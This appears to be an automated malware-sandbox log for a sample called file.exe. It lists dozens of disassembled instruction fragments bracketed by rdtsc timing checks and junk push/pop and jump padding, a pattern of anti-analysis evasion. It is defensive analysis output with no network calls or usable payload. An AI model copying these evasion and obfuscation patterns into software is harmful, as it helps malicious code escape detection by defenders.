Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84074 second address: D84088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jnl 00007FBC154CB166h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84088 second address: D8408C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8408C second address: D84090 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84090 second address: D84096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84AE2 second address: D84B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FBC154CB174h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBC154CB176h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89C6F second address: D89C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBC14D8F5B6h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FBC14D8F5BCh 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C3C0 second address: D8C3C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C3C4 second address: D8C3DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FBC14D8F5BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DA46 second address: D8DA55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB16Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FF7B second address: D8FF7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97015 second address: D9701A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9701A second address: D97037 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9860B second address: D98611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C89E second address: D9C8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C8A2 second address: D9C8BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2FC9 second address: DA2FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC9179 second address: DC917D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC9AF5 second address: DC9B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBC14D8F5C9h 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 popad 0x00000012 jc 00007FBC14D8F5CEh 0x00000018 push ecx 0x00000019 jl 00007FBC14D8F5B6h 0x0000001f jne 00007FBC14D8F5B6h 0x00000025 pop ecx 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC9C9A second address: DC9CAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Fh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB844 second address: DCB84B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCDC2 second address: DCCDC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCDC8 second address: DCCDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCDCE second address: DCCDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCDD2 second address: DCCDD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF691 second address: DCF6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFC1F second address: DCFC3B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBC14D8F5BEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFC3B second address: DCFC3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD16C4 second address: DD16C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD16C9 second address: DD16D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FBC154CB166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD16D3 second address: DD16D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD16D7 second address: DD16E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FBC154CB166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF77A second address: CDF77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF77E second address: CDF791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jno 00007FBC154CB166h 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFB55 second address: CDFB62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497034C second address: 49703A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FBC154CB173h 0x00000014 and si, 5A4Eh 0x00000019 jmp 00007FBC154CB179h 0x0000001e popfd 0x0000001f mov ecx, 6CACE657h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49703A7 second address: 49703AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49703AD second address: 49703B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49703B1 second address: 49703C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop edi 0x00000010 mov esi, 0B54243Fh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49703C7 second address: 49703CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04AD second address: 49A04D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, F5h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, 420A0465h 0x00000012 jmp 00007FBC14D8F5C2h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04D2 second address: 49A0520 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov esi, 583575CBh 0x00000010 mov esi, 3423A3A7h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 push edi 0x00000019 pushfd 0x0000001a jmp 00007FBC154CB176h 0x0000001f sub cx, A408h 0x00000024 jmp 00007FBC154CB16Bh 0x00000029 popfd 0x0000002a pop esi 0x0000002b push eax 0x0000002c push edx 0x0000002d mov bx, A7AAh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0520 second address: 49A055D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 jmp 00007FBC14D8F5C7h 0x0000000d xchg eax, esi 0x0000000e jmp 00007FBC14D8F5C6h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A055D second address: 49A0561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0561 second address: 49A0565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0565 second address: 49A056B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A056B second address: 49A0596 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBC14D8F5C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0596 second address: 49A05BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBC154CB16Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A05BD second address: 49A05CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC14D8F5BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A05CD second address: 49A05D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A05D1 second address: 49A0618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FBC14D8F5BAh 0x0000000f pushad 0x00000010 mov edx, ecx 0x00000012 mov al, 1Ah 0x00000014 popad 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 jmp 00007FBC14D8F5BFh 0x0000001e push dword ptr [ebp+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FBC14D8F5C5h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0618 second address: 49A061D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0633 second address: 49A063B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A063B second address: 49A0641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0641 second address: 49A0645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0692 second address: 49A0696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0696 second address: 49A069C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A069C second address: 49A0747 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FBC154CB16Eh 0x00000012 jmp 00007FBC154CB175h 0x00000017 popfd 0x00000018 mov ebx, esi 0x0000001a popad 0x0000001b pop esi 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FBC154CB178h 0x00000023 and cx, 02E8h 0x00000028 jmp 00007FBC154CB16Bh 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007FBC154CB178h 0x00000034 adc esi, 4F431548h 0x0000003a jmp 00007FBC154CB16Bh 0x0000003f popfd 0x00000040 popad 0x00000041 leave 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov edi, 0895D7B6h 0x0000004a push edi 0x0000004b pop ecx 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0747 second address: 49A074D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A074D second address: 49A0751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0751 second address: 49901F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007FBC14D8F5B7h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007FBC18C18B86h 0x00000031 mov edi, edi 0x00000033 pushad 0x00000034 mov edx, esi 0x00000036 pushfd 0x00000037 jmp 00007FBC14D8F5C0h 0x0000003c jmp 00007FBC14D8F5C5h 0x00000041 popfd 0x00000042 popad 0x00000043 xchg eax, ebp 0x00000044 jmp 00007FBC14D8F5BEh 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007FBC14D8F5BCh 0x00000053 xor si, D4A8h 0x00000058 jmp 00007FBC14D8F5BBh 0x0000005d popfd 0x0000005e movzx eax, bx 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49901F5 second address: 4990216 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop ecx 0x0000000f mov bx, 5D4Ch 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990216 second address: 4990272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FBC14D8F5C0h 0x00000010 push FFFFFFFEh 0x00000012 jmp 00007FBC14D8F5C0h 0x00000017 call 00007FBC14D8F5B9h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FBC14D8F5C7h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990272 second address: 499028A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC154CB174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499028A second address: 49902EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FBC14D8F5C9h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushfd 0x0000001b jmp 00007FBC14D8F5C8h 0x00000020 jmp 00007FBC14D8F5C5h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49902EE second address: 4990350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FBC154CB177h 0x00000012 sub ax, E03Eh 0x00000017 jmp 00007FBC154CB179h 0x0000001c popfd 0x0000001d mov ecx, 66C26F87h 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a movzx eax, dx 0x0000002d mov ecx, edx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990350 second address: 4990392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007FBC14D8F5C0h 0x0000000f push 332655F5h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ebx, eax 0x00000019 jmp 00007FBC14D8F5C6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990392 second address: 4990398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990398 second address: 499039C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49904C5 second address: 49904EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBC154CB175h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49904EC second address: 499051E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBC14D8F5C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499051E second address: 499052D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990665 second address: 4990669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990669 second address: 4990686 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990686 second address: 4990698 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 89h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ecx, 2C5CCE1Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990698 second address: 49906ED instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FBC154CB16Fh 0x0000000d sub al, FFFFFF8Eh 0x00000010 jmp 00007FBC154CB179h 0x00000015 popfd 0x00000016 popad 0x00000017 nop 0x00000018 jmp 00007FBC154CB16Eh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FBC154CB16Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49906ED second address: 499073D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 jmp 00007FBC14D8F5BAh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FBC14D8F5BDh 0x00000017 pop esi 0x00000018 pushfd 0x00000019 jmp 00007FBC14D8F5C1h 0x0000001e adc esi, 7D809786h 0x00000024 jmp 00007FBC14D8F5C1h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499073D second address: 49907F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushfd 0x00000006 jmp 00007FBC154CB173h 0x0000000b and eax, 285096BEh 0x00000011 jmp 00007FBC154CB179h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d pushad 0x0000001e pushad 0x0000001f mov dl, ch 0x00000021 pushfd 0x00000022 jmp 00007FBC154CB16Fh 0x00000027 jmp 00007FBC154CB173h 0x0000002c popfd 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007FBC154CB178h 0x00000034 or esi, 59DB3148h 0x0000003a jmp 00007FBC154CB16Bh 0x0000003f popfd 0x00000040 popad 0x00000041 mov dword ptr fs:[00000000h], eax 0x00000047 pushad 0x00000048 movzx esi, di 0x0000004b jmp 00007FBC154CB171h 0x00000050 popad 0x00000051 mov dword ptr [ebp-18h], esp 0x00000054 pushad 0x00000055 mov di, cx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49907F8 second address: 499080C instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov eax, dword ptr fs:[00000018h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499080C second address: 4990824 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990824 second address: 499083F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499083F second address: 4990843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990843 second address: 4990847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990847 second address: 499084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
